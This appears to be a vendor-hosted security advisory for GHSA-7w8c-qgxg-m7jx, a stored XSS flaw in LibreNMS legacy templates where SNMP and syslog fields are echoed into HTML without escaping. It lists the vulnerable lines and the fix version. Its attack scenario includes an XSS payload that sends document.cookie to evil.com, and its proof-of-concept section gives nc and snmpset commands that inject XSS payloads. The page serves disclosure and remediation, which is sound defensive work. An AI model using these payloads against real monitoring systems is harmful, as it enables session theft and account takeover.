GHSA-7w8c-qgxg-m7jx is a high-severity (CVSS 7.1) vulnerability in librenms/librenms. O3 Security confirms whether GHSA-7w8c-qgxg-m7jx is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
LibreNMS — Stored XSS via SNMP/Syslog Data in Legacy Templates
Real-World Exposure
librenms/librenmsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Multiple legacy PHP template files in LibreNMS directly output SNMP-sourced and syslog-sourced data into HTML without escaping. An attacker who controls a monitored network device (via compromised SNMP agent or syslog sender) can inject arbitrary JavaScript that executes when any authenticated LibreNMS user views the affected pages.
Vulnerable Code
Location 1: Syslog program field (clearest instance)
File: includes/html/print-syslog.inc.php:11,13
$syslog_output .= '<td><strong>' . $entry['program'] . ' : </strong> ' . htmlspecialchars((string) $entry['msg']) . '</td>';
The program field is output without htmlspecialchars() while the adjacent msg field IS properly escaped. The program value comes from syslog messages received from monitored devices.
Location 2: Alert details ifAlias (highest impact — main alerts page)
File: includes/html/functions.inc.php:607
$fault_detail .= $tmp_alerts['ifAlias'] . '; ';
The ifAlias (port description) comes from SNMP polling and is stored in the ports table. When a port-related alert fires, format_alert_details() renders it unescaped. Multiple other fields in this function are also unescaped: isisISAdjIPAddrAddress (line 598), service_desc/service_message (lines 656,658), bgpPeerDescr (line 672), mempool_descr (line 686), app_type (line 709).
Location 3: Health pages — mempool_descr, storage_descr, sensor_descr
File: includes/html/pages/device/health/mempool.inc.php:38
echo "<h3 class='panel-title'>{$mempool->mempool_descr} ...";
File: includes/html/pages/device/health/storage.inc.php:27
echo "<h3 class='panel-title'>{$drive['storage_descr']} ...";
File: includes/html/pages/device/health/sensors.inc.php:29
echo "<h3 class='panel-title'>$sensor_descr ...";
All three health page templates output SNMP-polled descriptions directly into <h3> tags without escaping.
Location 4: Pseudowires ifAlias
File: includes/html/pages/pseudowires.inc.php:76
echo "<tr ...><td colspan=2>" . $pw_a['ifAlias'] . '</td><td colspan=2>' . $pw_b['ifAlias'] . '</td></tr>';
Location 5: VRF page ifAlias
File: includes/html/pages/routing/vrf.inc.php:165
echo "<div style='font-size: 9px;'>" . substr((string) short_port_descr($port['ifAlias']), 0, 22) . '</div>';
Data Flow
Attacker-controlled SNMP device/syslog source
→ SNMP polling stores ifAlias/mempool_descr/etc in DB (no sanitization on write)
→ OR syslog receiver stores program field in syslog table
→ Authenticated user views alerts/health/syslog page
→ Legacy PHP template echoes raw value into HTML
→ XSS executes in victim's browser session
Attack Scenario
- Attacker compromises or controls a network device monitored by LibreNMS
- Attacker configures the device's SNMP interface description (ifAlias) to:
<img src=x onerror="fetch('https://evil.com/'+document.cookie)"> - LibreNMS polls the device via SNMP and stores the malicious ifAlias in the
portstable - When any alert fires for this port, the XSS payload executes for every authenticated user viewing the alerts page
- Alternatively: attacker sends syslog messages with XSS in the program field, targeting the syslog viewer page
PoC
Syslog vector (simplest)
# Send syslog message with XSS in program field
# Assuming LibreNMS syslog receiver is at 10.0.0.1:514
echo '<14>Mar 20 12:00:00 rogue-device <img/src=x onerror=alert(document.domain)>: test message' | nc -u 10.0.0.1 514
SNMP vector
# On attacker-controlled SNMP device, set interface description:
# snmpset -v2c -c private localhost IF-MIB::ifAlias.1 s '<img src=x onerror=alert(document.cookie)>'
# LibreNMS will poll this during next discovery/polling cycle
Contrast with Properly Escaped Code
Newer Blade templates and some legacy code properly escape SNMP data:
includes/html/dev-overview-data.inc.phpusesClean::html()for sysDescr, sysName, hardwareapp/Http/Controllers/Device/Tabs/PortsController.phpuseshtmlentities()on ifAliasapp/Http/Controllers/Table/EventlogController.php:97useshtmlspecialchars()on message- All Blade templates use
{{ }}auto-escaping
The vulnerability exists specifically in the legacy includes/html/ PHP files that have not been migrated to Blade.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | librenms/librenms | all versions | 26.5.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for librenms/librenms. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update librenms/librenms to 26.5.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7w8c-qgxg-m7jx is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-7w8c-qgxg-m7jx is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-7w8c-qgxg-m7jx. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-7w8c-qgxg-m7jx in your dependencies?
O3 detects GHSA-7w8c-qgxg-m7jx across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.